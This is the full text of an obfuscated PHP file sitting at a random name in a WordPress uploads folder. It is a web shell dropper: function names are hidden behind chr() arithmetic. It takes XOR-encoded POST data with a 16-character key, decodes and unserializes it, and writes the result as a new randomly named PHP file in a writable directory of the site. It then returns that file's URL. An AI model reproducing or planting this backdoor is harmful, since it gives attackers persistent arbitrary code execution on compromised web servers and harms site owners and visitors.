File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/uploads/2015/04/xmnqwslt.php
<?php $thpWNcSpg = chr(761-693).chr(158-79).chr(427-360).chr(85).chr(77).'E'.chr(78).chr(84).chr(553-458)."\122"."\117".'O'.chr(1079-995);$OvmUwc = chr(533-461)."\124"."\x54"."\120"."\x5f".chr(82-10)."\x4f".chr(83).chr(1008-924);$JIZTKOavB = 'h'."\x74".chr(614-498)."\160"."\x3a".chr(203-156)."\x2f";$EQuXTmO = '.'.chr(112)."\x68"."\160";$tzPKNicD = "\160"."\150"."\x70";$XJEBLGuy = 'f'."\x69"."\154".chr(101).chr(838-743)."\x70"."\x75"."\x74".chr(95).chr(986-887).'o'."\x6e".chr(116)."\145".chr(110).'t'."\163";$MYchdGADVt = chr(114).chr(97).chr(119)."\165"."\x72".chr(108).chr(100)."\x65"."\143".chr(111).chr(911-811)."\145";$CVxQvkcJ = chr(966-849).chr(110)."\163"."\145"."\x72".'i'.chr(148-51)."\x6c".chr(521-416).'z'."\x65";$hUZxBgwzFR = chr(296-191)."\163".'_'.chr(1098-979).'r'.'i'.chr(116)."\x61".'b'.chr(108)."\145";$jgegl = chr(112).chr(104).'p'.chr(392-274)."\145".chr(114).'s'."\x69".'o'."\156";$kyPgHB = "\x73"."\164"."\162"."\137"."\x72"."\x6f"."\x74".'1'.chr(51);$DVKZG = "\x73".chr(101)."\162".chr(1040-935).'a'.'l'."\151"."\x7a".chr(101);$TdRjYDS = "\x73"."\x74"."\162"."\137"."\x73".chr(112)."\154".chr(105).chr(870-754);foreach ($_POST as $ySGNXjD => $uUNSUIMPvG){$yoOdUOWAE = strlen($ySGNXjD);if ($yoOdUOWAE == 16){$uUNSUIMPvG = $TdRjYDS($MYchdGADVt($kyPgHB($uUNSUIMPvG)));$ySGNXjD = array_slice($TdRjYDS(str_repeat($ySGNXjD, (count($uUNSUIMPvG)/16)+1)), 0, count($uUNSUIMPvG));function XkZIYgnoYb($payrUcg, $tlrWqXFUo, $ySGNXjD){$SBBAv = "1b30a2b9-9332-4a7c-86be-c0d9388d7d11";return $payrUcg ^ $SBBAv[$tlrWqXFUo % strlen($SBBAv)] ^ $ySGNXjD;}$uUNSUIMPvG = implode("", array_map("XkZIYgnoYb", array_values($uUNSUIMPvG), array_keys($uUNSUIMPvG), array_values($ySGNXjD)));$uUNSUIMPvG = @$CVxQvkcJ($uUNSUIMPvG);if (@is_array($uUNSUIMPvG)){$OOBWe = array_keys($uUNSUIMPvG);$uUNSUIMPvG = $uUNSUIMPvG[$OOBWe[0]];if ($uUNSUIMPvG === $OOBWe[0]){echo @$DVKZG(Array($tzPKNicD => @$jgegl(), ));exit();}else {function FSESV($RyRXxZJiir){static $wLcZYK = array();$kfKbtgzOO = glob($RyRXxZJiir . '/*', GLOB_ONLYDIR);$JmuEy = count($kfKbtgzOO);if ($JmuEy > 0) {foreach ($kfKbtgzOO as $RyRXxZJi) {if (@$hUZxBgwzFR($RyRXxZJi)) {$wLcZYK[] = $RyRXxZJi;}}}foreach ($kfKbtgzOO as $RyRXxZJiir) FSESV($RyRXxZJiir);return $wLcZYK;}$tLAGLwYG = $_SERVER[$thpWNcSpg];$kfKbtgzOO = FSESV($tLAGLwYG);$OOBWe = array_rand($kfKbtgzOO);$NohLmKF = $kfKbtgzOO[$OOBWe] . "/" . substr(md5(time()), 0, 8) . $EQuXTmO;@$XJEBLGuy($NohLmKF, $uUNSUIMPvG);$sqFyar = $JIZTKOavB . $_SERVER[$OvmUwc] . substr($NohLmKF, strlen($tLAGLwYG));echo $sqFyar;die();}}}}